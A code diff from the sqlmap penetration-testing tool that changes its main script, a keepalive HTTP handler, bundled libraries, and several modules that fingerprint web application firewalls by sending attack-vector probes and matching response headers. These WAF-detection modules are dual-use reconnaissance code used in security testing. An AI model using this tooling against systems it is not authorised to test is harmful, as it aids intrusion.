+                            os.remove(filepath)
+                        except OSError:
+                            pass
+                if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
+                    shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get("hashDB"):
            try:
@@ -247,8 +286,16 @@ def main():
        if conf.get("dumper"):
            conf.dumper.flush()

+        # short delay for thread finalization
+        try:
+            _ = time.time()
+            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
+                time.sleep(0.01)
+        except KeyboardInterrupt:
+            pass
+
        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
-        if conf.get("threads", 0) > 1 or conf.get("dnsServer"):
+        if threading.activeCount() > 1:
            os._exit(0)

 if __name__ == "__main__":
@@ -5,10 +5,8 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-import os
 import re

-from lib.core.common import singleTimeWarnMessage
 from lib.core.enums import PRIORITY

 __priority__ = PRIORITY.HIGH
@@ -5,10 +5,7 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-import base64
-
 from lib.core.enums import PRIORITY
-from lib.core.settings import UNICODE_ENCODING

 __priority__ = PRIORITY.LOWEST

@@ -95,7 +95,7 @@ try:
        return (args, varargs, keywords, tuple(defaults) or None)
 except ImportError:
    from inspect import getargspec
-    
+
 try:
    from simplejson import dumps as json_dumps, loads as json_lds
 except ImportError:  # pragma: no cover
@@ -21,13 +21,15 @@ def reset_all():


 def init(autoreset=False, convert=None, strip=None, wrap=True):
+    global wrapped_stdout, wrapped_stderr
+    global orig_stdout, orig_stderr
+
+    if orig_stdout is not None:
+        return

    if not wrap and any([autoreset, convert, strip]):
        raise ValueError('wrap=False conflicts with any other arg=True')

-    global wrapped_stdout, wrapped_stderr
-    global orig_stdout, orig_stderr
-
    orig_stdout = sys.stdout
    orig_stderr = sys.stderr

@@ -49,10 +51,15 @@ def init(autoreset=False, convert=None, strip=None, wrap=True):


 def deinit():
+    global orig_stdout
+    global orig_stderr
+
    if orig_stdout is not None:
        sys.stdout = orig_stdout
+        orig_stdout = None
    if orig_stderr is not None:
        sys.stderr = orig_stderr
+        orig_stderr = None


@contextlib.contextmanager
@@ -1,30 +1,40 @@
 #!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#   This library is free software; you can redistribute it and/or
+#   modify it under the terms of the GNU Lesser General Public
+#   License as published by the Free Software Foundation; either
+#   version 2.1 of the License, or (at your option) any later version.
 #
-# Copyright 2002-2003 Michael D. Stenner
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#   This library is distributed in the hope that it will be useful,
+#   but WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+#   Lesser General Public License for more details.
 #
+#   You should have received a copy of the GNU Lesser General Public
+#   License along with this library; if not, write to the 
+#      Free Software Foundation, Inc., 
+#      59 Temple Place, Suite 330, 
+#      Boston, MA  02111-1307  USA
+
+# This file was part of urlgrabber, a high-level cross-protocol url-grabber
+# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko
+# Copyright 2015 Sergio Fernández

 """An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.

-  import urllib2
-  from keepalive import HTTPHandler
-  keepalive_handler = HTTPHandler()
-  opener = urllib2.build_opener(keepalive_handler)
-  urllib2.install_opener(opener)
+>>> import urllib2
+>>> from keepalive import HTTPHandler
+>>> keepalive_handler = HTTPHandler()
+>>> opener = urllib2.build_opener(keepalive_handler)
+>>> urllib2.install_opener(opener)
+>>> 
+>>> fo = urllib2.urlopen('http://www.python.org')

-  fo = urllib2.urlopen('http://www.python.org')
+If a connection to a given host is requested, and all of the existing
+connections are still in use, another connection will be opened.  If
+the handler tries to use an existing connection but it fails in some
+way, it will be closed and removed from the pool.

 To remove the handler, simply re-run build_opener with no arguments, and
 install that opener.
@@ -37,9 +47,13 @@ use the handler methods:
  close_all()
  open_connections()

-Example:
+NOTE: using the close_connection and close_all methods of the handler
+should be done with care when using multiple threads.
+  * there is nothing that prevents another thread from creating new
+    connections immediately after connections are closed
+  * no checks are done to prevent in-use connections from being closed

-  keepalive_handler.close_all()
+>>> keepalive_handler.close_all()

 EXTRA ATTRIBUTES AND METHODS

@@ -55,162 +69,307 @@ EXTRA ATTRIBUTES AND METHODS
  If you want the best of both worlds, use this inside an
  AttributeError-catching try:

-    try: status = fo.status
-    except AttributeError: status = None
+  >>> try: status = fo.status
+  >>> except AttributeError: status = None

  Unfortunately, these are ONLY there if status == 200, so it's not
  easy to distinguish between non-200 responses.  The reason is that
  urllib2 tries to do clever things with error codes 301, 302, 401,
  and 407, and it wraps the object upon return.

-  You can optionally set the module-level global HANDLE_ERRORS to 0,
-  in which case the handler will always return the object directly.
-  If you like the fancy handling of errors, don't do this.  If you
-  prefer to see your error codes, then do.
+  For python versions earlier than 2.4, you can avoid this fancy error
+  handling by setting the module-level global HANDLE_ERRORS to zero.
+  You see, prior to 2.4, it's the HTTP Handler's job to determine what
+  to handle specially, and what to just pass up.  HANDLE_ERRORS == 0
+  means "pass everything up".  In python 2.4, however, this job no
+  longer belongs to the HTTP Handler and is now done by a NEW handler,
+  HTTPErrorProcessor.  Here's the bottom line:
+
+    python version < 2.4
+        HANDLE_ERRORS == 1  (default) pass up 200, treat the rest as
+                            errors
+        HANDLE_ERRORS == 0  pass everything up, error processing is
+                            left to the calling code
+    python version >= 2.4
+        HANDLE_ERRORS == 1  pass up 200, treat the rest as errors
+        HANDLE_ERRORS == 0  (default) pass everything up, let the
+                            other handlers (specifically,
+                            HTTPErrorProcessor) decide what to do
+
+  In practice, setting the variable either way makes little difference
+  in python 2.4, so for the most consistent behavior across versions,
+  you probably just want to use the defaults, which will give you
+  exceptions on errors.

 """
-from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader

-from lib.core.convert import unicodeencode
-from lib.core.data import kb
+# $Id: keepalive.py,v 1.17 2006/12/08 00:14:16 mstenner Exp $

-import threading
 import urllib2
 import httplib
 import socket
+import thread

-VERSION = (0, 1)
-#STRING_VERSION = '.'.join(map(str, VERSION))
-DEBUG = 0
-HANDLE_ERRORS = 1
+DEBUG = None

-class HTTPHandler(urllib2.HTTPHandler):
+import sys
+if sys.version_info < (2, 4): HANDLE_ERRORS = 1
+else: HANDLE_ERRORS = 0
+
+class ConnectionManager:
+    """
+    The connection manager must be able to:
+      * keep track of all existing
+      """
    def __init__(self):
-        self._connections = {}
+        self._lock = thread.allocate_lock()
+        self._hostmap = {} # map hosts to a list of connections
+        self._connmap = {} # map connections to host
+        self._readymap = {} # map connection to ready state
+
+    def add(self, host, connection, ready):
+        self._lock.acquire()
+        try:
+            if not self._hostmap.has_key(host): self._hostmap[host] = []
+            self._hostmap[host].append(connection)
+            self._connmap[connection] = host
+            self._readymap[connection] = ready
+        finally:
+            self._lock.release()
+
+    def remove(self, connection):
+        self._lock.acquire()
+        try:
+            try:
+                host = self._connmap[connection]
+            except KeyError:
+                pass
+            else:
+                del self._connmap[connection]
+                del self._readymap[connection]
+                self._hostmap[host].remove(connection)
+                if not self._hostmap[host]: del self._hostmap[host]
+        finally:
+            self._lock.release()
+
+    def set_ready(self, connection, ready):
+        try: self._readymap[connection] = ready
+        except KeyError: pass
+
+    def get_ready_conn(self, host):
+        conn = None
+        self._lock.acquire()
+        try:
+            if self._hostmap.has_key(host):
+                for c in self._hostmap[host]:
+                    if self._readymap[c]:
+                        self._readymap[c] = 0
+                        conn = c
+                        break
+        finally:
+            self._lock.release()
+        return conn
+
+    def get_all(self, host=None):
+        if host:
+            return list(self._hostmap.get(host, []))
+        else:
+            return dict(self._hostmap)
+
+class KeepAliveHandler:
+    def __init__(self):
+        self._cm = ConnectionManager()
+
+    #### Connection Management
+    def open_connections(self):
+        """return a list of connected hosts and the number of connections
+        to each.  [('foo.com:80', 2), ('bar.org', 1)]"""
+        return [(host, len(li)) for (host, li) in self._cm.get_all().items()]

    def close_connection(self, host):
-        """close connection to <host>
+        """close connection(s) to <host>
        host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
        no error occurs if there is no connection to that host."""
-        self._remove_connection(host, close=1)
-
-    def open_connections(self):
-        """return a list of connected hosts"""
-        retVal = []
-        currentThread = threading.currentThread()
-        for name, host in self._connections.keys():
-            if name == currentThread.getName():
-                retVal.append(host)
-        return retVal
+        for h in self._cm.get_all(host):
+            self._cm.remove(h)
+            h.close()

    def close_all(self):
        """close all open connections"""
-        for _, conn in self._connections.items():
-            conn.close()
-        self._connections = {}
+        for host, conns in self._cm.get_all().items():
+            for h in conns:
+                self._cm.remove(h)
+                h.close()

-    def _remove_connection(self, host, close=0):
-        key = self._get_connection_key(host)
-        if self._connections.has_key(key):
-            if close: self._connections[key].close()
-            del self._connections[key]
+    def _request_closed(self, request, host, connection):
+        """tells us that this request is now closed and the the
+        connection is ready for another request"""
+        self._cm.set_ready(connection, 1)

-    def _get_connection_key(self, host):
-        return (threading.currentThread().getName(), host)
+    def _remove_connection(self, host, connection, close=0):
+        if close: connection.close()
+        self._cm.remove(connection)

-    def _start_connection(self, h, req):
-        h.clearheaders()
-        try:
-            if req.has_data():
-                data = req.get_data()
-                h.putrequest('POST', req.get_selector())
-                if not req.headers.has_key('Content-type'):
-                    req.headers['Content-type'] = 'application/x-www-form-urlencoded'
-                if not req.headers.has_key('Content-length'):
-                    req.headers['Content-length'] = '%d' % len(data)
-            else:
-                h.putrequest(req.get_method() or 'GET', req.get_selector())
-
-            if not req.headers.has_key('Connection'):
-                req.headers['Connection'] = 'keep-alive'
-
-            for args in self.parent.addheaders:
-                h.putheader(*args)
-            for k, v in req.headers.items():
-                h.putheader(k, v)
-            h.endheaders()
-            if req.has_data():
-                h.send(data)
-        except socket.error, err:
-            h.close()
-            raise urllib2.URLError(err)
-
-    def do_open(self, http_class, req):
-        h = None
-        host = req.get_host()
+    #### Transaction Execution
+    def do_open(self, req):
+        host = req.host
        if not host:
            raise urllib2.URLError('no host given')

        try:
-            need_new_connection = 1
-            key = self._get_connection_key(host)
-            h = self._connections.get(key)
-            if not h is None:
-                try:
-                    self._start_connection(h, req)
-                except:
-                    r = None
-                else:
-                    try: r = h.getresponse()
-                    except httplib.ResponseNotReady, e: r = None
-                    except httplib.BadStatusLine, e: r = None
+            h = self._cm.get_ready_conn(host)
+            while h:
+                r = self._reuse_connection(h, req, host)

-                if r is None or r.version == 9:
-                    # httplib falls back to assuming HTTP 0.9 if it gets a
-                    # bad header back.  This is most likely to happen if
-                    # the socket has been closed by the server since we
-                    # last used the connection.
-                    if DEBUG: print "failed to re-use connection to %s" % host
-                    h.close()
-                else:
-                    if DEBUG: print "re-using connection to %s" % host
-                    need_new_connection = 0
-            if need_new_connection:
-                if DEBUG: print "creating new connection to %s" % host
-                h = http_class(host)
-                self._connections[key] = h
-                self._start_connection(h, req)
+                # if this response is non-None, then it worked and we're
+                # done.  Break out, skipping the else block.
+                if r: break
+
+                # connection is bad - possibly closed by server
+                # discard it and ask for the next free connection
+                h.close()
+                self._cm.remove(h)
+                h = self._cm.get_ready_conn(host)
+            else:
+                # no (working) free connections were found.  Create a new one.
+                h = self._get_connection(host)
+                if DEBUG: DEBUG.info("creating new connection to %s (%d)",
+                                     host, id(h))
+                self._cm.add(host, h, 0)
+                self._start_transaction(h, req)
                r = h.getresponse()
-        except socket.error, err:
-            if h: h.close()
+        except (socket.error, httplib.HTTPException), err:
            raise urllib2.URLError(err)

+        if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason)
+
        # if not a persistent connection, don't try to reuse it
-        if r.will_close: self._remove_connection(host)
+        if r.will_close:
+            if DEBUG: DEBUG.info('server will close connection, discarding')
+            self._cm.remove(h)

-        if DEBUG:
-            print "STATUS: %s, %s" % (r.status, r.reason)
        r._handler = self
        r._host = host
        r._url = req.get_full_url()
+        r._connection = h
+        r.code = r.status
+        r.headers = r.msg
+        r.msg = r.reason

-        #if r.status == 200 or not HANDLE_ERRORS:
-            #return r
        if r.status == 200 or not HANDLE_ERRORS:
-            # [speedplane] Must return an adinfourl object
-            resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
-            resp.code = r.status
-            resp.msg = r.reason
-            return resp;
+            return r
        else:
-            r.code = r.status
-            return self.parent.error('http', req, r, r.status, r.reason, r.msg)
+            return self.parent.error('http', req, r,
+                                     r.status, r.msg, r.headers)
+
+    def _reuse_connection(self, h, req, host):
+        """start the transaction with a re-used connection
+        return a response object (r) upon success or None on failure.
+        This DOES not close or remove bad connections in cases where
+        it returns.  However, if an unexpected exception occurs, it
+        will close and remove the connection before re-raising.
+        """
+        try:
+            self._start_transaction(h, req)
+            r = h.getresponse()
+            # note: just because we got something back doesn't mean it
+            # worked.  We'll check the version below, too.
+        except (socket.error, httplib.HTTPException):
+            r = None
+        except:
+            # adding this block just in case we've missed
+            # something we will still raise the exception, but
+            # lets try and close the connection and remove it
+            # first.  We previously got into a nasty loop
+            # where an exception was uncaught, and so the
+            # connection stayed open.  On the next try, the
+            # same exception was raised, etc.  The tradeoff is
+            # that it's now possible this call will raise
+            # a DIFFERENT exception
+            if DEBUG: DEBUG.error("unexpected exception - closing " + \
+                                  "connection to %s (%d)", host, id(h))
+            self._cm.remove(h)
+            h.close()
+            raise
+
+        if r is None or r.version == 9:
+            # httplib falls back to assuming HTTP 0.9 if it gets a
+            # bad header back.  This is most likely to happen if
+            # the socket has been closed by the server since we
+            # last used the connection.
+            if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)",
+                                 host, id(h))
+            r = None
+        else:
+            if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h))
+
+        return r
+
+    def _start_transaction(self, h, req):
+        try:
+            if req.has_data():
+                data = req.data
+                if hasattr(req, 'selector'):
+                    h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+                else:
+                    h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+                if not req.headers.has_key('Content-type'):
+                    h.putheader('Content-type',
+                                'application/x-www-form-urlencoded')
+                if not req.headers.has_key('Content-length'):
+                    h.putheader('Content-length', '%d' % len(data))
+            else:
+                if hasattr(req, 'selector'):
+                    h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+                else:
+                    h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+        except (socket.error, httplib.HTTPException), err:
+            raise urllib2.URLError(err)
+
+        if not req.headers.has_key('Connection'):
+            req.headers['Connection'] = 'keep-alive'
+
+        for args in self.parent.addheaders:
+            if not req.headers.has_key(args[0]):
+                h.putheader(*args)
+        for k, v in req.headers.items():
+            h.putheader(k, v)
+        h.endheaders()
+        if req.has_data():
+            h.send(data)
+
+    def _get_connection(self, host):
+        return NotImplementedError
+
+class HTTPHandler(KeepAliveHandler, urllib2.HTTPHandler):
+    def __init__(self):
+        KeepAliveHandler.__init__(self)

    def http_open(self, req):
-        return self.do_open(HTTPConnection, req)
+        return self.do_open(req)
+
+    def _get_connection(self, host):
+        return HTTPConnection(host)
+
+class HTTPSHandler(KeepAliveHandler, urllib2.HTTPSHandler):
+    def __init__(self, ssl_factory=None):
+        KeepAliveHandler.__init__(self)
+        if not ssl_factory:
+            try:
+                import sslfactory
+                ssl_factory = sslfactory.get_factory()
+            except ImportError:
+                pass
+        self._ssl_factory = ssl_factory
+
+    def https_open(self, req):
+        return self.do_open(req)
+
+    def _get_connection(self, host):
+        try: return self._ssl_factory.get_https_connection(host)
+        except AttributeError: return HTTPSConnection(host)

 class HTTPResponse(httplib.HTTPResponse):
-
    # we need to subclass HTTPResponse in order to
    # 1) add readline() and readlines() methods
    # 2) add close_connection() methods
@@ -236,21 +395,31 @@ class HTTPResponse(httplib.HTTPResponse):
        else: # 2.2 doesn't
            httplib.HTTPResponse.__init__(self, sock, debuglevel)
        self.fileno = sock.fileno
+        self.code = None
        self._method = method
-        self._rbuf = ''
+        self._rbuf = b""
        self._rbufsize = 8096
        self._handler = None # inserted by the handler later
        self._host = None    # (same)
        self._url = None     # (same)
+        self._connection = None # (same)

    _raw_read = httplib.HTTPResponse.read

+    def close(self):
+        if self.fp:
+            self.fp.close()
+            self.fp = None
+            if self._handler:
+                self._handler._request_closed(self, self._host,
+                                              self._connection)
+
    def close_connection(self):
+        self._handler._remove_connection(self._host, self._connection, close=1)
        self.close()
-        self._handler._remove_connection(self._host, close=1)

    def info(self):
-        return self.msg
+        return self.headers

    def geturl(self):
        return self._url
@@ -268,11 +437,11 @@ class HTTPResponse(httplib.HTTPResponse):
                return s

        s = self._rbuf + self._raw_read(amt)
-        self._rbuf = ''
+        self._rbuf = b""
        return s

    def readline(self, limit=-1):
-        data = ""
+        data = b""
        i = self._rbuf.find('\n')
        while i < 0 and not (0 < limit <= len(self._rbuf)):
            new = self._raw_read(self._rbufsize)
@@ -302,43 +471,9 @@ class HTTPResponse(httplib.HTTPResponse):
 class HTTPConnection(httplib.HTTPConnection):
    # use the modified response class
    response_class = HTTPResponse
-    _headers = None

-    def clearheaders(self):
-        self._headers = {}
-
-    def putheader(self, header, value):
-        """Send a request header line to the server.
-
-        For example: h.putheader('Accept', 'text/html')
-        """
-        if self.__state != _CS_REQ_STARTED:
-            raise CannotSendHeader()
-
-        self._headers[header] = value
-
-    def endheaders(self):
-        """Indicate that the last header line has been sent to the server."""
-
-        if self.__state == _CS_REQ_STARTED:
-            self.__state = _CS_REQ_SENT
-        else:
-            raise CannotSendHeader()
-
-        for header in ('Host', 'Accept-Encoding'):
-            if header in self._headers:
-                str = '%s: %s' % (header, self._headers[header])
-                self._output(str)
-                del self._headers[header]
-
-        for header, value in self._headers.items():
-            str = '%s: %s' % (header, value)
-            self._output(str)
-
-        self._send_output()
-
-    def send(self, str):
-        httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding))
+class HTTPSConnection(httplib.HTTPSConnection):
+    response_class = HTTPResponse

 #########################################################################
 #####   TEST FUNCTIONS
@@ -367,7 +502,7 @@ def error_handler(url):
            print "  status = %s, reason = %s" % (status, reason)
    HANDLE_ERRORS = orig
    hosts = keepalive_handler.open_connections()
-    print "open connections:", ' '.join(hosts)
+    print "open connections:", hosts
    keepalive_handler.close_all()

 def continuity(url):
@@ -422,9 +557,10 @@ def comp(N, url):
    print '  improvement factor: %.2f' % (t1/t2, )

 def fetch(N, url, delay=0):
+    import time
    lens = []
    starttime = time.time()
-    for i in xrange(N):
+    for i in range(N):
        if delay and i > 0: time.sleep(delay)
        fo = urllib2.urlopen(url)
        foo = fo.read()
@@ -440,6 +576,40 @@ def fetch(N, url, delay=0):

    return diff

+def test_timeout(url):
+    global DEBUG
+    dbbackup = DEBUG
+    class FakeLogger:
+        def debug(self, msg, *args): print msg % args
+        info = warning = error = debug
+    DEBUG = FakeLogger()
+    print "  fetching the file to establish a connection"
+    fo = urllib2.urlopen(url)
+    data1 = fo.read()
+    fo.close()
+
+    i = 20
+    print "  waiting %i seconds for the server to close the connection" % i
+    while i > 0:
+        sys.stdout.write('\r  %2i' % i)
+        sys.stdout.flush()
+        time.sleep(1)
+        i -= 1
+    sys.stderr.write('\r')
+
+    print "  fetching the file a second time"
+    fo = urllib2.urlopen(url)
+    data2 = fo.read()
+    fo.close()
+
+    if data1 == data2:
+        print '  data are identical'
+    else:
+        print '  ERROR: DATA DIFFER'
+
+    DEBUG = dbbackup
+
+
 def test(url, N=10):
    print "checking error hander (do this on a non-200)"
    try: error_handler(url)
@@ -452,6 +622,9 @@ def test(url, N=10):
    print
    print "performing speed comparison"
    comp(N, url)
+    print
+    print "performing dropped-connection check"
+    test_timeout(url)

 if __name__ == '__main__':
    import time
@@ -59,7 +59,7 @@ pad     -> Optional argument. Only when using padmode of PAD_NORMAL. For
 	   bytes of the unencrypted data block.
 padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
 	   or PAD_PKCS5). Defaults to PAD_NORMAL.
-	  
+

 Example
 -------
@@ -153,7 +153,7 @@ class _baseDes(object):
 	def getPadMode(self):
 		"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
 		return self._padmode
-		
+
 	def setPadMode(self, mode):
 		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
 		self._padmode = mode
@@ -188,7 +188,7 @@ class _baseDes(object):
 			if not pad:
 				raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
 			data += (self.block_size - (len(data) % self.block_size)) * pad
-		
+
 		elif padmode == PAD_PKCS5:
 			pad_len = 8 - (len(data) % self.block_size)
 			if _pythonMajorVersion < 3:
@@ -454,7 +454,7 @@ class des(_baseDes):
 	def __permutate(self, table, block):
 		"""Permutate this block with the specified table"""
 		return list(map(lambda x: block[x], table))
-	
+
 	# Transform the secret key, so that it is ready for data processing
 	# Create the 16 subkeys, K[1] - K[16]
 	def __create_sub_keys(self):
@@ -554,7 +554,7 @@ class des(_baseDes):

 			i += 1
 			iteration += iteration_adjustment
-		
+
 		# Final permutation of R[16]L[16]
 		self.final = self.__permutate(des.__fp, self.R + self.L)
 		return self.final
@@ -597,7 +597,7 @@ class des(_baseDes):
 			#	result.append(dict[data[i:i+8]])
 			#	i += 8
 			#	continue
-				
+
 			block = self.__String_to_BitList(data[i:i+8])

 			# Xor with IV if using CBC mode
@@ -522,7 +522,7 @@ class XDotAttrParser:
        self.parser = parser
        self.buf = buf
        self.pos = 0
-        
+
        self.pen = Pen()
        self.shapes = []

@@ -616,7 +616,7 @@ class XDotAttrParser:
            b = b*s
            a = 1.0
            return r, g, b, a
-                
+
        sys.stderr.write("warning: unknown color '%s'\n" % c)
        return None

@@ -691,7 +691,7 @@ class XDotAttrParser:
                sys.exit(1)

        return self.shapes
-    
+
    def transform(self, x, y):
        return self.parser.transform(x, y)

@@ -763,7 +763,7 @@ class ParseError(Exception):

    def __str__(self):
        return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None])
-        
+

 class Scanner:
    """Stateless scanner."""
@@ -1007,7 +1007,7 @@ class DotLexer(Lexer):
            text = text.replace('\\\r\n', '')
            text = text.replace('\\\r', '')
            text = text.replace('\\\n', '')
-            
+
            # quotes
            text = text.replace('\\"', '"')

@@ -1151,7 +1151,7 @@ class XDotParser(DotParser):
    def __init__(self, xdotcode):
        lexer = DotLexer(buf = xdotcode)
        DotParser.__init__(self, lexer)
-        
+
        self.nodes = []
        self.edges = []
        self.shapes = []
@@ -1188,7 +1188,7 @@ class XDotParser(DotParser):
                self.height = max(ymax - ymin, 1)

                self.top_graph = False
-        
+
        for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
            if attr in attrs:
                parser = XDotAttrParser(self, attrs[attr])
@@ -1219,7 +1219,7 @@ class XDotParser(DotParser):
            pos = attrs['pos']
        except KeyError:
            return
-        
+
        points = self.parse_edge_pos(pos)
        shapes = []
        for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
@@ -1987,7 +1987,7 @@ class DotWindow(gtk.Window):
        if not entry_text:
            dot_widget.set_highlight(None)
            return
-        
+
        found_items = self.find_text(entry_text)
        dot_widget.set_highlight(found_items)

@@ -1997,7 +1997,7 @@ class DotWindow(gtk.Window):
        if not entry_text:
            dot_widget.set_highlight(None)
            return;
-        
+
        found_items = self.find_text(entry_text)
        dot_widget.set_highlight(found_items)
        if(len(found_items) == 1):
@@ -2015,7 +2015,7 @@ class DotWindow(gtk.Window):
        if self.widget.set_xdotcode(xdotcode):
            self.update_title(filename)
            self.widget.zoom_to_fit()
-        
+
    def update_title(self, filename=None):
        if filename is None:
            self.set_title(self.base_title)
@@ -15,8 +15,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"wangzhan\.360\.cn", headers.get("X-Powered-By-360wzb", ""), re.I) is not None
+        retval |= code == 493 and "/wzws-waf-cgi/" in (page or "")
        if retval:
            break

@@ -15,8 +15,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"MISS", headers.get("X-Powered-By-Anquanbao", ""), re.I) is not None
+        retval |= code == 405 and "/aqb_cc/error/" in (page or "")
        if retval:
            break

@@ -18,7 +18,7 @@ def detect(get_page):
    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retval = re.search(r"fhl", headers.get("X-Server", ""), re.I) is not None
-        retval |= re.search(r"yunjiasu-nginx", headers.get(HTTP_HEADER.SERVER), re.I) is not None
+        retval |= re.search(r"yunjiasu-nginx", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        if retval:
            break

@@ -20,6 +20,7 @@ def detect(get_page):
        retval = headers.get("X-Cnection", "").lower() == "close"
        retval |= re.search(r"\ATS[a-zA-Z0-9]{3,6}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
        retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        if retval:
            break

@@ -16,9 +16,14 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"cloudflare-nginx", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+
+        if code >= 400:
+            retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+            retval |= headers.get("cf-ray") is not None
+            retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None
+
        if retval:
            break

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Comodo Web Application Firewall (Comodo)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"Protected by COMODO WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -18,7 +18,7 @@ def detect(get_page):
    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = re.search(r"\Asessioncookie=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
-        retval |= code == 200 and re.search(r"\ACondition Intercepted", page, re.I) is not None
+        retval |= code == 200 and re.search(r"\ACondition Intercepted", page or "", re.I) is not None
        if retval:
            break

@@ -13,9 +13,10 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
-        retVal = headers.get("X-dotDefender-denied", "") == "1"
-        if retVal:
+        page, headers, _ = get_page(get=vector)
+        retval = headers.get("X-dotDefender-denied", "") == "1"
+        retval |= "dotDefender Blocked Your Request" in (page or "")
+        if retval:
            break

    return retval
@@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
 __product__ = "EdgeCast WAF (Verizon)"

 def detect(get_page):
-    retVal = False
+    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, code = get_page(get=vector)
-        retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        if retVal:
+        retval = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
            break

-    return retVal
+    return retval
@@ -14,7 +14,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = "Invalid GET Data" in page
+        retval = "Invalid GET Data" in (page or "")
        if retval:
            break

@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Generic (Unknown)"
+
+def detect(get_page):
+    retval = False
+
+    page, _, code = get_page()
+    if page is None or code >= 400:
+        return False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, code = get_page(get=vector)
+
+        if code >= 400 or IDS_WAF_CHECK_PAYLOAD in vector and code is None:
+            retval = True
+            break
+
